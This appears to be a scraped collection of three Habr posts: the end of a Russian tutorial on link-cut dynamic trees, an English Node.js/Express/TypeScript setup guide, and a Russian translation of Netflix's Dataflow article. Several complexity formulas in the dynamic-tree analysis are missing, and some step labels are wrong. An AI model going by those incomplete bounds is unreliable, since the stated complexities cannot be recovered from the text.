Ставим ссылку на родителя и запускаем `expose`, чтобы поддержать инвариант.
```
def cut(u, v):
expose(v)
u.link = None
expose(u)
```
Первым вызовом `expose` мы помещаем вершины `u` и `v` в разные пути. Смело обнуляем ссылку, и запускаем второй `expose` для поддержания инварианта.
```
def find_root(v):
expose(v)
return leftest(supportRoot(v))
```
После вызова `expose` вершина `v` и корень будут лежать в одном опорном дереве. Если дерево сбалансировано, достаточно подняться до корня, а потом спуститься до крайне левого узла. Это будет корень. Я условно обозначил подъем до корня через `supportRoot`, а спуск до крайне левого элемента через `leftest`. В случае splay-дерева, `supportRoot` заменяется на `splay`.
```
def depth(v):
expose(v)
return size(supportRoot(v)) - 1
```
Снова делаем `expose`, снова вершина `v` и корень на одном пути. Размер опорного дерева равен числу узлов в этом пути. Поднимаемся до корня, находим размер опорного дерева. Вычитаем единицу, чтобы получить число ребер.
Давайте еще найдем ближайшего общего предка (lowest common ancestor).
```
def lca(u, v):
expose(u)
expose(v)
return leftest(supportRoot(u)).link
```
Нарисуйте на бумажке, что произойдет, и поймите, что это действительно lca. Кстати, вы заметили, что если вершины лежат в разных деревьях, то процедура вернет None? Не правда ли, очень мило с ее стороны?
Сама процедура `expose` сводится к следующему: находим корень опорного дерева, в котором лежит текущий узел; прыгаем до левейшего элемента, чтобы попасть на верх пути. Эти операции выполнимы за . Пройдем по ссылке на следующее опорное дерево и сольем его с предыдущим. Так будем делать, пока не достигнем корня представляемого дерева.
Мы будем использовать вспомогательную процедуру `cutout`, которая отрезает путь на вершине `v` и проставляет нужные ссылки детям.
```
def expose(v):
cutout(v)
v = leftest(supportRoot(v))
while v.link != None:
cutout(v.link)
merge(supportRoot(v.link), (v - v.link), supportRoot(v))
v.link = None
v = leftest(supportRoot(v))
return v
```
#### Некорневые деревья
Динамические деревья можно расширить до некорневых. Достаточно уметь переподвешивать деревья. Посмотрим на следующую процедуру:
```
def revert(v):
expose(v)
reverse(supportRoot(v))
```
Процедура `revert(v)` соединяет вершину `v` с текущим корнем. Заметим, что если бы корнем была вершина `v`, то поменялся бы только порядок элементов на пути между `v` и корнем. Поскольку пути хранятся в деревьях по неявному ключу, мы можем реализовать разворот через отложенные операции на отрезках (еще раз [4](http://habrahabr.ru/post/102364)).
Добавление и удаление ребер реализуется тривиально.
```
def link_edge(u, v):
revert(u)
link(u, v)
```
```
def cut_edge(u, v):
revert(v)
cut(u, v)
```
В первом случае `revert` обеспечивает, что `u` будет корнем поддерева. Во-втором — вершина `v` будет родителем `u`.
Можно также найти расстояние между вершинами из одного дерева.
```
def dist(u, v):
revert(v)
return depth(u)
```
Операции на отрезках дают большие возможности. Например, алгоритмы поиска максимального потока используют их, чтобы быстро найти пропускную способность в остаточной сети, а также проталкивать поток вдоль всего пути сразу. Подробнее можно посмотреть в книжке Тарьяна «Data Structures and Network Algorithms».
Касательно задачи во вступлении. Основная проблема, что делать, если при добавлении очередного ребра появляется цикл. Нужно быстро искать самое тяжелое ребро на пути между заданными вершинами `u` и `v`. `revert` от `u`, `expose` от `v`, и мы получили опорное дерево, содержащее этот путь. Деревья по неявному ключу позволяют быстро искать максимум. Поэтому обнаружить ребро не составит труда.
Техническая особенность: если в опорном дереве в каждой вершине хранится вес ребра идущего к родителю, то при изменении корня родители меняются. Проблему можно решить, если хранить веса ребер к следующей и предыдущей вершинам вдоль пути. Альтернативное решение — завести для каждого ребра отдельную вершину и только там хранить веса.
#### Анализ
Пусть . Время работы всех вышеописанных процедур состоит из одного-двух запусков процедуры `expose` и константного
числа операций над опорными деревьями. Операции над опорными деревьями выполняются за .
Оценим процедуру `expose`. Пусть она состоит из  слияний и разрезов опорных деревьев. Это число выражается количеством ребер, которые мы добавим в строящийся путь. Посчитаем их суммарное число, чтобы получить амортизационную оценку.
Каждой вершине назначим вес, равный размеру поддерева, корнем которого она является. Ребро идущее от родителя к ребенку назовем тяжелым, если вес ребенка строго больше половины веса родителя. Остальные ребра назовем легкими.
**Утверждение.** *Число легких ребер на пути от корня до любого листа не превосходит* .
Каждый раз, спускаясь от родителя к ребенку по легкому ребру, размер текущего поддерева уменьшается хотя бы в два раза. Поскольку размер дерева не превышает , то число легких ребер на пути от корня до любого листа не превосходит . 
Исходя из предыдущего утверждения, за все вызовы `expose` мы добавим в путь  легких ребер. Посчитаем число тяжелых ребер, которые мы добавим. При добавлении каждого тяжелого ребра будем класть на него монетку. Когда ребро перестает лежать на пути, эту монетку заберем. Оценим, сколько монеток мы потратим.
Мы можем забрать монетку только в двух случаях: а) от родителя был вызван `expose` и нас отрезали, б) теперь на пути лежит соседнее ребро. Первый случай может произойти не более  раз. Во втором случае соседнее выбранное ребро будет легким. Такое может произойти не более  раз. По окончании работы в дереве может остаться не более  тяжелого ребра. Значит, всего тяжелых ребер не больше . Таким образом, суммарное время обработки всех операций .
#### Практические испытания
На практике для деревьев с маленьким диаметром лучше использовать обычный `DFS`. Динамические деревья становятся заметно эффективными, когда мы работаем с большими деревьями и большим количеством запросов `link` и `cut`. Наиболее высокую производительность показывает реализация на splay-деревьях. Подробнее можно узнать в [обзоре Тарьяна, Вернека «Dynamic Trees in Practice»](http://www.cs.princeton.edu/~rwerneck/docs/TW07.pdf).
Реализацию на питоне можно найти [здесь](http://pastebin.com/AgPH8yaV).
#### О жизни...
Если вы дочитали до этого места, то я вас поздравляю. Я хотел бы передать послание двум категориям своих читателей.
Первые — это студенты-программисты третьих-четвертых курсов бакалавриата. Возможно, ничего подобного вам не рассказывали на лекциях, и вам хотелось бы восполнить пробелы по алгоритмам и многим другим темам. У вас есть возможность поступить в магистратуру Академического Университета на [разработку программного обеспечения](http://mit.spbau.ru/department#se). Это отличный шанс пополнить свои знания, поставить руку под надзором опытных программистов, а для иногородних — переехать в Питер. Учиться здесь не просто, но оно того стоит.
Вторые — это люди, кочующие между Project Euler и Braingames, между Braingames и Topcoder. Вы ищете математических задач? Теоретическая информатика велика, и для вас обязательно найдется место и задача. Посмотрите книги про приближенные ([8](http://www.designofapproxalgs.com/book.pdf), [9](http://www.amazon.com/Approximation-Algorithms-Vijay-V-Vazirani/dp/3540653678)), экспоненциальные ([10](http://www.amazon.com/Exponential-Algorithms-Theoretical-Computer-Science/dp/364216532X)), параметризованные ([11](http://www.amazon.com/Invitation-Parameter-Algorithms-Mathematics-Applications/dp/0198566077)) алгоритмы, коммуникационную сложность ([12](http://www.amazon.com/Communication-Complexity-Eyal-Kushilevitz/dp/052102983X)), структурную сложность ([13](http://www.amazon.com/Communication-Complexity-Eyal-Kushilevitz/dp/052102983X)). Если вам это интересно, приходите учиться на [теоретическую информатику](http://mit.spbau.ru/csmaster).
Не упустите свою возможность!
#### Литература
1. [«Dynamic Trees in Practice» Tarjan, Werneck](http://www.cs.princeton.edu/~rwerneck/papers/TW07-dyntrees-practice.pdf)
2. [«A Data Structure for Dynamic Trees» Sleator, Tarjan](http://www.cs.cmu.edu/~sleator/papers/dynamic-trees.pdf)
3. [«Network Algorithms and Data Structures» Tarjan](http://www.amazon.com/Structures-Algorithms-CBMS-NSF-Conference-Mathematics/dp/0898711878) | https://habr.com/ru/post/216733/ | null | ru | null |
# Creating Node.JS web server application with Express, Typescript, Jest, Swagger, log4js and routing-controllers
This is a step by step instruction for creating Node.JS web server application with typescript and express. Creating of new web application on Node.JS is is not making often, so the steps how to do it can be forgotten. So this article is a kind of reminder for me and other developers. Also I added in article links to video clips for more clarification. Here I show how to create application on Node.JS without using any frameworks for it. Just Node.JS and packages.
So, step by step:
1. **Simple Web application** [youtu.be/7MIIcFDeSg4](https://youtu.be/7MIIcFDeSg4)
Install in right order Node.JS, packages and configure them.
```
1) node.js download,
2) Create directory for your project,
3) npm init,
4) in package.json
"main": "dist/index.js",
"scripts": {
"build": "tsc",
"start": "node ."
}
5) npm install --save-dev typescript,
6) in tsconfig.json
{
"compilerOptions": {
"esModuleInterop": true,
"outDir": "dist",
"baseUrl": "."
}
}
8) npm install express,
9) npm install @types/express,
10) create src folder,
11) create src/index.ts with code below:
import express from 'express'
const app = express();
const port = 5000;
app.get('/', (request, response) => {
response.send('Hello world!');
});
app.listen(port, () => console.log(`Running on port ${port}`));
13) npm run build,
14) npm run start,
15) localhost:5000
```
2. **Debug and initialization in Node.js** [youtu.be/hfST0e1ITGw](https://youtu.be/hfST0e1ITGw)
Set up debug mode and create an .env file to set input values.
```
1) in tsconfig.json add: "sourceMap": true
2) int package.json add: "prestart": "npm run build",
3) In IntelliJ IDEA in Run/Debug Configurations choose: "npm" and add script
4) npm i ts-node-dev --save-dev
5) int package.json add: "server:watch": "ts-node-dev --respawn --transpile-only src/index.ts"
6) add IntelliJ IDEA npm for "server:watch" script
7) npm install dotenv
8) in index.ts add: dotenv.config();
9) create .env file in root dir of your project and add text below in .env file:
PORT = 5000
const port = process.env.PORT;
```
3. **Adding log4js and eslint to Node.JS application** [youtu.be/qcSpd6N7ZJ8](https://youtu.be/qcSpd6N7ZJ8)
```
1) npm install log4js
2) in index.ts file:
import log4js from 'log4js';
...
const logger = log4js.getLogger();
logger.level = process.env.LOG_LEVEL;
...
4) in .env file: LOG_LEVEL=error
5) in index.ts file:
...
logger.info('log4js log info');
logger.debug('log4js log debug');
logger.error('log4js log error');
...
6) npm install eslint --save-dev
7) eslint --init
8) "prebuild": "npm run lint"
9) "lint:fix": "eslint --cache --ext .ts . --fix",
10) "lint": "eslint --cache --ext .ts .",
!!! --cache (only changed), .
11) IntelliJ IDEA -- file -- setting -- eslint -- automatic
12) "rules": {
"semi": ["error", "always"]
}
```
4. **Routing controllers for Node.js** [youtu.be/\_7z5Zubsdps](https://youtu.be/_7z5Zubsdps)
Use routing-controllers for more convenient work.
```
1) npm install routing-controllers
2) npm install reflect-metadata
3) npm install express body-parser multer
4) npm install class-transformer class-validator
5) tsconfig.json
"compilerOptions": {
...
"emitDecoratorMetadata": true,
"experimentalDecorators": true
...
}
6) in index.ts
// const app = express();
// logger.info('log4js log info');
// logger.debug('log4js log debug');
// logger.error('log4js log error');
// app.get('/', (request, response) => {
// response.send('Hello world2!');
// });
7) in index.ts
import { createExpressServer } from 'routing-controllers';
import { UserController } from './UserController';
const app = createExpressServer({
controllers: [UserController], // we specify controllers we want to use
});
8) controller/user-controller.ts
import { Controller, Get, Param } from 'routing-controllers';
import 'reflect-metadata';
@Controller()
export class UserController {
@Get('/users/:id')
getOne (@Param('id') id: number) {
return 'This action returns user #' + id;
}
}
9) http://localhost:3001/users/1
```
5. **Node.JS middleware, interceptor, http context** [youtu.be/iWUMUa7gTTQ](https://youtu.be/iWUMUa7gTTQ)
```
1) middleware -- middleware.ts
2) middleware.ts
export function loggingBefore (request: any, response: any, next?: (err?: any) => any): any {
console.log('do something Before...');
next();
}
export function loggingAfter (request: any, response: any, next?: (err?: any) => any): any {
console.log('do something After...');
next();
}
3) user-controller.ts in class
@UseBefore(loggingBefore)
@UseAfter(loggingAfter)
console.log('do something in GET function...');
4) user-controller.ts in function
@UseBefore(loggingBefore)
@UseAfter(loggingAfter)
5) user-controller.ts in function
@UseInterceptor(function (action: Action, content: any) {
console.log('change response...');
return content;
})
6) npm install express-http-context
7) index.ts
const app: Express = express();
app.use(bodyParser.json());
app.use(httpContext.middleware);
useExpressServer(app, {
controllers: [UserController]
});
app.use((req, res, next) => {
httpContext.ns.bindEmitter(req);
httpContext.ns.bindEmitter(res);
});
8) middleware.ts loggingBefore
import httpContext from 'express-http-context';
console.log('set traceId = 123');
httpContext.set('traceId', 123);
9) middleware.ts loggingAfter
console.log(`tracedId = ${httpContext.get('traceId')}`);
```
6. **Adding POST request to Node.JS web application, validation of input data, global error handler** [youtu.be/onBVkkLEuw4](https://youtu.be/onBVkkLEuw4)
```
1) in user-controller.ts add:
...
@Post('/users/:id')
@OnUndefined(204)
postOne (@Param('id') id: number, @Body() info: any) {
console.log(JSON.stringify(info));
}
...
2) in postman
http://localhost:3001/users/1
{
"country":"Russia",
"city":"SPb"
}
3) model -- info.ts
4)
import { IsDefined } from 'class-validator';
export class Info {
@IsDefined()
country: string;
@IsDefined()
city: string;
}
8) postOne (@Param('id') id: number, @Body() info: Info) {
9) middleware -- global-error-handler.ts
10)
import { ExpressErrorMiddlewareInterface, Middleware } from 'routing-controllers';
@Middleware({ type: 'after' })
export class GlobalErrorHandler implements ExpressErrorMiddlewareInterface {
error (error: any, request: any, response: any, next: () => any) {
response.send({ ERROR: error });
next();
}
}
11)
useExpressServer(app, {
controllers: [UserController], // we specify controllers we want to use
middlewares: [GlobalErrorHandler],
defaultErrorHandler: false
});
```
7. **Swagger documentation in Node.JS web application** [youtu.be/-uoIasCbsq8](https://youtu.be/-uoIasCbsq8)
```
1) npm install swagger-ui-express
2) tsconfig.json -- "resolveJsonModule": true
3) src -- swagger -- openapi.json
4) index.ts
import swaggerUi from 'swagger-ui-express';
import * as swaggerDocument from '../src/swagger/openapi.json';
...
app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument));
5) change port to 3000
in .env file set PORT=3000
6) npm install cors
7) npm install @types/cors
8) in index.ts
import cors from 'cors';
...
app.use(cors() as RequestHandler);
...
9) Swagger Editor (example for test project)
openapi
openapi: 3.0.1
info:
title: test API
version: v1
servers:
- url: 'http://localhost:3000'
tags:
- name: API functions
description: >-
API functions of our application
paths:
/users/{id}:
get:
summary: returns simple answer from get
tags:
- API functions
parameters:
- name: id
in: path
required: true
description: simple parameter
schema:
type : string
example: '1'
description: parameter id just for test
responses:
'200': #status code
description: OK
content:
document:
schema:
type: string
example: some text
post:
summary: returns simple answer from post
tags:
- API functions
requestBody:
required: true
content:
application/json:
schema:
$ref: '#/components/schemas/Info'
example:
country: Russia
city: Spb
parameters:
- name: id
in: path
required: true
description: simple parameter
schema:
type : string
example: '1'
description: parameter id just for test
responses:
'204': #status code
description: OK
components:
schemas:
Info:
type: object
properties:
country:
type: string
city:
type: string
```
8. **Adding Unit tests on Jest in Node.JS web application** [youtu.be/rCIRpTMVEMM](https://youtu.be/rCIRpTMVEMM)
```
0) in global-error-handler.ts
response.status(error.statusCode || error.httpCode).json(error);
next();
1) npm install --save-dev jest
2) npm i -D ts-jest @types/jest
3) npm i -D ts-jest
4) package.json --
{
...
scripts {
...
"test:unit": "jest --config=jest.config.js",
},
...
}
5) create jest.config.js with code below:
process.env.NODE_ENV = 'UNITTEST';
module.exports = {
clearMocks: true,
collectCoverage: true,
collectCoverageFrom: [
'./src/**/*.ts'
],
coverageDirectory: '<'rootDir>/test/coverage',
testEnvironment: 'node',
testMatch: ['**/*.test.ts'],
preset: 'ts-jest'
};
6) .eslintignore
*.js
node_modules
dist
coverage
}
7) .eslintrc.json
{
...
"env": {
"jest": true
}
...
}
8) test -- controller -- user-controller.test.ts
describe('UserController', () => {
afterEach(() => {
jest.restoreAllMocks();
});
it('postOne', () => {
const userController = new UserController();
const testBody = {
city: 'SPb'
};
const res = userController.postOne(1, testBody as Info);
expect(res).toBeUndefined();
});
}
9) in IDEA
add script - test:unit
set in environment - NODE_ENV=UNITTEST
10) Simple variant of jest.config.js for IDEA:
process.env.NODE_ENV = 'UNITTEST';
module.exports = {
clearMocks: true,
collectCoverage: false,
testEnvironment: 'node',
testMatch: ['**/*.test.ts'],
preset: 'ts-jest'
};
11) npm i -D supertest @types/supertest
12) in user-controller.test.ts
...
let server;
...
beforeAll(async () => {
server = express();
server.use(bodyParser.json());
useExpressServer(server, {
controllers: [UserController], // we specify controllers we want to use
middlewares: [GlobalErrorHandler],
defaultErrorHandler: false
});
});
...
it('postOne with validations', done => {
request(server)
.post('/users/1')
.send({
country: 'Russia',
city: 'SPb'
} as Info)
.expect(204)
.end((err, res) => {
if (err) throw new Error(JSON.stringify(res.body));
done();
});
});
```
9. **Using Config package for Node.JS and other useful packages** [youtu.be/8ZCHUN-JTck](https://youtu.be/8ZCHUN-JTck)
Config package allows to set value for constants depending on NODE\_ENV value.
```
1) npm install config
2) npm install @types/config
3) config
4) default.yaml PORT: 3000
DEV.yaml PORT: 3001
LOCAL.yaml PORT: 3002
5) index.ts
// const port = process.env.PORT;
const port = config.get('PORT');
6) IDEA server:watch -- Environment
NODE_ENV=DEV
NODE_ENV=LOCAL
-- packages:
husky - commits in Git
semantic-release - Commits formatting and version control
pretty-quick - run prettier for changed files
prettier - code formtatter
eslint-config-prettier - resolve conflicts between eslint and prettier
eslint-plugin-prettier - run prettier as eslint rules
mock-socket - websocket mock
jest-websocket-mock - websocket testing
jest-sonar-reporter - convert reports from jest format to sonar format
jest-mock-extended - mocks for objects and interfaces
ws - websocket
typescript-string-operations - String.format
lodash - useful functions for js
http-status-codes - constants for HTTP statuses
moment - time library for js
ncp - copy files
js-yaml - working with yaml files
mongodb - package with functions for Mongo
migrate-mongo - migration for Mongo
log-timestamp - write current time in log messages
axios - HTTP client
applicationinsights - integration with Azure Application Insights
``` | https://habr.com/ru/post/538262/ | null | en | null |
# Генерация конвейеров обработки данных в Dataflow
[](https://habr.com/ru/company/ruvds/blog/707006/)
Эта статья посвящена всем практикующим специалистам по данным, заинтересованным в освоении запуска, стандартизации и автоматизации пакетных конвейеров данных в Netflix.
О Dataflow мы писали в статье под названием [Data pipeline asset management with Dataflow](https://netflixtechblog.com/data-pipeline-asset-management-with-dataflow-86525b3e21ca). Та статья представляла подробное знакомство с одним из наиболее технических аспектов Dataflow, но сам этот инструмент толком не описывала. На сей раз мы оправдаем заявленное вступление, после чего сосредоточимся на одной из основных возможностей Dataflow — образцах рабочих потоков. Для начала же мы коротко разберём Dataflow в общем.
Dataflow
--------
Dataflow – это утилита командной строки, предназначенная для оптимизации рабочего процесса и упрощения разработки конвейеров данных в Netflix. Взгляните на этот высокоуровневый вывод команды `help`:
```
$ dataflow --help
Usage: dataflow [OPTIONS] COMMAND [ARGS]...
Options:
--docker-image TEXT Url of the docker image to run in.
--run-in-docker Run dataflow in a docker container.
-v, --verbose Enables verbose mode.
--version Show the version and exit.
--help Show this message and exit.
Commands:
migration Manage schema migration.
mock Generate or validate mock datasets.
project Manage a Dataflow project.
sample Generate fully functional sample workflows.
```
Как видите, интерфейс командной строки Dataflow разделён на четыре основных области (или команды). Наиболее используемая из них – это `project`, которая помогает разработчикам управлять репозиториями конвейеров данных посредством создания, тестирования, развёртывания и некоторых других действий.
Команда `migration` является особой функцией, разработанной [Стивеном Хеннеке](https://www.linkedin.com/in/stephenhuenneke/) для полноценной автоматизации взаимодействия, а также отслеживания изменений в таблицах хранилищ данных. Благодаря внутренней системе data lineage (линия преемственности данных), разработанной [Гиришом Лингаппой](https://www.linkedin.com/in/girish-lingappa-309aa24/), миграция помогает определить нижестоящие точки использования интересующей таблицы. Помимо этого, она позволяет создавать сообщение для всех владельцев этих зависимостей. После запуска миграции Dataflow будет также отслеживать её прогресс и поможет вам взаимодействовать с нижестоящими пользователями.
Команда `mock` является ещё одной самостоятельной функцией, позволяющей создавать мок-файлы данных в формате YAML для выбранных таблиц, столбцов и строк данных из хранилища Netflix. Основная цель этой команды – упростить модульное тестирование конвейеров данных, но технически её также можно использоваться в любых других ситуациях для получения читаемого формата небольших наборов данных.
Все перечисленные команды мы, скорее всего, опишем в следующих статьях, а в этой сосредоточимся именно на команде `sample`.
Образцы рабочих потоков
-----------------------
Образцы рабочих потоков – это набор шаблонов, которые можно использовать для создания собственного конвейера данных. Придуманы они были в основном ради предоставления возможности опробовать продакшен-код ETL (извлечения, преобразования и загрузки), который встречается в экосистеме данных Netflix.
Весь код, который вы получаете в подобных образцах рабочих потоков, полностью функционален, подстроен под вашу среду и изолирован от рабочих потоков, сгенерированных другими разработчиками. Этот конвейер можно безопасно запускать, как только он окажется у вас в каталоге. При этом он не только создаст красивую сводную таблицу и заполнит её реальными данными, но также представит вам полный набор рекомендуемых компонентов:
* чистый DDL-код;
* подходящие установки метаданных таблицы;
* задачу преобразования (на предпочтительном языке), обёрнутую в выбранный [паттерн](https://www.dremio.com/subsurface/write-audit-publish-pattern-via-apache-iceberg/) WAP (Write-Audit-Publish);
* пробный набор результатов аудита сгенерированных данных;
* полностью функциональные модульные тесты для логики преобразования.
Не менее важно и то, что эти пробные рабочие потоки непрерывно тестируются как часть протокола изменения кода Dataflow, так что в их работоспособности можно быть уверенным. Это один из способов укрепления доверия со стороны внутренней базы пользователей.
Далее мы разберём бизнес-логику этих образцов потоков.
### ▍ Бизнес-логика
В Dataflow есть несколько вариантов образцов рабочих потоков, но бизнес-логика используется в них одна. Это было сознательное решение с целью открыто показать отличия между разными языками, на которых может быть написан ETL. Понятно, что инструменты создаются под разные случаи использования, поэтому мы планируем дополнительно добавить образцы кода для других задач обработки данных (помимо классической пакетной ETL), например, для построения и оценки моделей машинного обучения.
Бизнес-логика, используемая в нашем шаблоне, вычисляет топ-100 фильмов/телешоу в каждой стране, где Netflix работает на постоянной основе. Это не фактический продакшен-конвейер, работающий в Netflix, поскольку данный код сильно упрощён, но при этом он хорошо демонстрирует пакетную ETL-задачу с различными стадиями преобразования. Разберём эти стадии.
Шаг 1: время просмотра всех фильмов и телешоу в стране инкрементально суммируется на ежедневной основе:
```
WITH STEP_1 AS (
SELECT
title_id
, country_code
, SUM(view_hours) AS view_hours
FROM some_db.source_table
WHERE playback_date = CURRENT_DATE
GROUP BY
title_id
, country_code
)
```
Шаг 2: все тайтлы каждой страны ранжируются в порядке убывания от наиболее до наименее просматриваемых:
```
WITH STEP_2 AS (
SELECT
title_id
, country_code
, view_hours
, RANK() OVER (
PARTITION BY country_code
ORDER BY view_hours DESC
) AS title_rank
FROM STEP_1
)
```
Шаг 1: все тайтлы отфильтровываются до топ-100:
```
WITH STEP_3 AS (
SELECT
title_id
, country_code
, view_hours
, title_rank
FROM STEP_2
WHERE title_rank <= 100
)
```
Теперь с помощью описанного выше трехэтапного преобразования мы создадим данные, которые можно будет записать в следующую таблицу Iceberg:
```
CREATE TABLE IF NOT EXISTS ${TARGET_DB}.dataflow_sample_results (
title_id INT COMMENT "Title ID of the movie or show."
, country_code STRING COMMENT "Country code of the playback session."
, title_rank INT COMMENT "Rank of a given title in a given country."
, view_hours DOUBLE COMMENT "Total viewing hours of a given title in a given country."
)
COMMENT
"Example dataset brought to you by Dataflow. For more information on this
and other examples please visit the Dataflow documentation page."
PARTITIONED BY (
date DATE COMMENT "Playback date."
)
STORED AS ICEBERG;
```
Из структуры таблицы видно, что мы ежедневно собираемся загружать в неё около [19,000](https://help.netflix.com/en/node/14164) строк, которые будут выглядеть так:
```
sql> SELECT * FROM foo.dataflow_sample_results
WHERE date = 20220101 and country_code = 'US'
ORDER BY title_rank LIMIT 5;
title_id | country_code | title_rank | view_hours | date
----------+--------------+------------+------------+----------
11111111 | US | 1 | 123 | 20220101
44444444 | US | 2 | 111 | 20220101
33333333 | US | 3 | 98 | 20220101
55555555 | US | 4 | 55 | 20220101
22222222 | US | 5 | 11 | 20220101
(5 rows)
```
Разобравшись с бизнес-логикой, можно переходить к разбору компонентов, или шаблонного-кода, наших пробных рабочих потоков.
### ▍ Компоненты
Рассмотрим наиболее распространённые компоненты рабочих потоков, которые мы используем в Netflix. Они вписываются не во все случаи ETL, но используются достаточно часто для включения в каждый образец рабочего потока. Всё же именно автор потока решает, хочет ли он использовать все эти шаблоны или же оставить лишь некоторые. В любом случае они есть в готовом виде, и их можно при необходимости задействовать.
### ▍ Определения рабочих потоков
Ниже вы видите типичную файловую структуру пакета пробных рабочих потоков, написанную на SparkSQL:
```
.
├── backfill.sch.yaml
├── daily.sch.yaml
├── main.sch.yaml
├── ddl
│ └── dataflow_sparksql_sample.sql
└── src
├── mocks
│ ├── dataflow_pyspark_sample.yaml
│ └── some_db.source_table.yaml
├── sparksql_write.sql
└── test_sparksql_write.py
```
Три верхних файла определяют серию шагов (то есть задач), их темп и последовательность, в которой они должны выполняться.
Это один из способов, которым можно связывать компоненты в единый рабочий поток. В каждом пакете пробных потоков присутствует три файла определения, работающих совместно для обеспечения гибкой функциональности. Код образца рабочего потока предполагает паттерн ежедневного использования, но его также легко подстроить для выполнения с иной периодичностью. Оркестровку рабочих потоков мы реализуем с помощью собственного планировщика Netflix под названием [Maestro](https://netflixtechblog.com/orchestrating-data-ml-workflows-at-scale-with-netflix-maestro-aaa2b41b800c).
Файл определения `main` содержит логику одного выполнения, которая в нашем случае описывает сбор данных за день. Состоит эта логика из DDL-кода, метаданных таблицы, шага преобразования и некоторых шагов аудита. Построена она для выполнения в одну дату и должна вызываться из рабочих потоков *daily* или *backfill*. Поток `main` также можно вызывать вручную во время разработки с произвольными параметрами среды выполнения, чтобы пронаблюдать его в действии.
Поток *daily* выполняет `main` на ежедневной основе в течение установленного количества прошедших дней. Иногда это необходимо для восполнения данных, поступающих с задержкой. В этом случае мы определяем расписание срабатывания, схемы уведомлений и обновляем «последние» (high-water mark) временные метки в целевой таблице.
Рабочий поток *backfill* выполняет `main` в течение заданного диапазона дней. Это пригождается для повторного утверждения данных, чаще всего ввиду изменения логики преобразования, но иногда и в качестве ответа на вышестоящие изменения данных.
### ▍ DDL
Зачастую первым шагом в конвейере данных идёт определение структуры целевой таблицы и метаданных столбцов через утверждение DDL. Мы понимаем, что некоторые специалисты предпочитают, чтобы их итоговая схема являлась неявным результатом самого кода преобразования, но явное утверждение выходной схемы не только пригождается для добавления комментариев уровня таблицы (и столбца), но также служит для оценки логики преобразования.
```
.
├── backfill.sch.yaml
├── daily.sch.yaml
├── main.sch.yaml
├── ddl
│ └── dataflow_sparksql_sample.sql
└── src
├── mocks
│ ├── dataflow_pyspark_sample.yaml
│ └── some_db.source_table.yaml
├── sparksql_write.sql
└── test_sparksql_write.py
```
Как правило, мы предпочитаем выполнять команды DDL в составе самого рабочего потока, а не вне расписания, поскольку это упрощает процесс разработки. Ниже показан пример привязывания SQL-файла создания таблицы к определению рабочего потока `main`.
```
- job:
id: ddl
type: Spark
spark:
script: $S3{./ddl/dataflow_sparksql_sample.sql}
parameters:
TARGET_DB: ${TARGET_DB}
```
### ▍ Метаданные
Этап определения метаданных обеспечивает контекст для самой выходной таблицы, а также её данных. Атрибуты устанавливаются через [Metacat](https://netflixtechblog.com/metacat-making-big-data-discoverable-and-meaningful-at-netflix-56fb36a53520) – внутреннюю платформу управления метаданными в Netflix. Ниже приведён пример внедрения этого этапа в определение рабочего потока `main`:
```
- job:
id: metadata
type: Metadata
metacat:
tables:
- ${CATALOG}/${TARGET_DB}/${TARGET_TABLE}
owner: ${username}
tags:
- dataflow
- sample
lifetime: 123
column_types:
date: pk
country_code: pk
rank: pk
```
### ▍ Преобразование
Этап (или этапы) преобразования разработчик может выполнять на предпочитаемом языке. В примере ниже используется SparkSQL.
```
.
├── backfill.sch.yaml
├── daily.sch.yaml
├── main.sch.yaml
├── ddl
│ └── dataflow_sparksql_sample.sql
└── src
├── mocks
│ ├── dataflow_pyspark_sample.yaml
│ └── some_db.source_table.yaml
├── sparksql_write.sql
└── test_sparksql_write.py
```
Как вариант, на этом этапе можно использовать паттерн *Write-Audit-Publish*, чтобы убедиться в верности данных до того, как они станут доступными остальной компании. Вот пример:
```
- template:
id: wap
type: wap
tables:
- ${CATALOG}/${DATABASE}/${TABLE}
write_jobs:
- job:
id: write
type: Spark
spark:
script: $S3{./src/sparksql_write.sql}
```
### ▍ Аудит
Этапы аудита определяются для оценки качества данных. Если «блокирующий» аудит провалится, задача остановится, и этап `write` не состоится, что исключит представление пользователям ошибочных данных. Это необязательный шаг, который, к тому же можно настроить. Вот частичный пример аудита из рабочего потока `main`:
```
data_auditor:
audits:
- function: columns_should_not_have_nulls
blocking: true
params:
table: ${TARGET_TABLE}
columns:
- title_id
…
```
### ▍ Последняя временная метка
Успешная запись обычно сопровождается вызовом метаданных для установки актуального времени (или high-water mark) датасета. Это позволяет другим использующим нашу таблицу процессам получать уведомление и начинать действовать. Вот пример задачи *high-water mark* из `main`:
```
- job:
id: hwm
type: HWM
metacat:
table: ${CATALOG}/${TARGET_DB}/${TARGET_TABLE}
hwm_datetime: ${EXECUTION_DATE}
hwm_timezone: ${EXECUTION_TIMEZONE}
```
### ▍ Модульные тесты
Артефакты модульных тестов также генерируются как часть структуры пробного рабочего потока. Они состоят из мок-данных, фактического кода теста и простой схемы выполнения, зависящей от языка рабочего потока. В примере ниже это файлы *dataflow\_pyspark\_sample.yaml*, *some\_db.source\_table.yaml* и *test\_sparksql\_write.py*.
```
.
├── backfill.sch.yaml
├── daily.sch.yaml
├── main.sch.yaml
├── ddl
│ └── dataflow_sparksql_sample.sql
└── src
├── mocks
│ ├── dataflow_pyspark_sample.yaml
│ └── some_db.source_table.yaml
├── sparksql_write.sql
└── test_sparksql_write.py
```
Эти модульные тесты должны проверять один «модуль» преобразования данных. Их можно выполнять во время разработки для быстрого перехвата опечаток или синтаксических ошибок в коде, а также на стадии автоматизированного тестирования/развёртывания, чтобы убедиться, что изменения кода не приведут к сбою каких-либо тестов.
Модульные тесты должны выполняться быстро, обеспечивая оперативную обратную связь и возможность быстро проводить итерации во время цикла разработки. Выполнение кода для базы данных продакшена может происходить медленно, особенно с учётом нагрузки, необходимой для систем обработки распределённых данных вроде Apache Spark. Имитация данных позволяет выполнять тесты локально на их небольшой выборке для оценки кода преобразования.
Языки
-----
С течением времени задачи по извлечению данных из исходных систем Netflix оказались востребованы широким спектром конечных пользователей, таких как инженеры, аналитики данных, маркетологи и другие. Делая акцент на удобстве, Dataflow позволяет этим разным категориям людей реализовывать свои задачи с лёгкостью. Многие пользователи данных задействуют SparkSQL, PySpark и Scala. Небольшое, но растущее число учёных и аналитиков также используют R в сочетании с интерфейсом Sparklyr или прочими инструментами обработки данных вроде [Metaflow](https://docs.metaflow.org/introduction/what-is-metaflow).
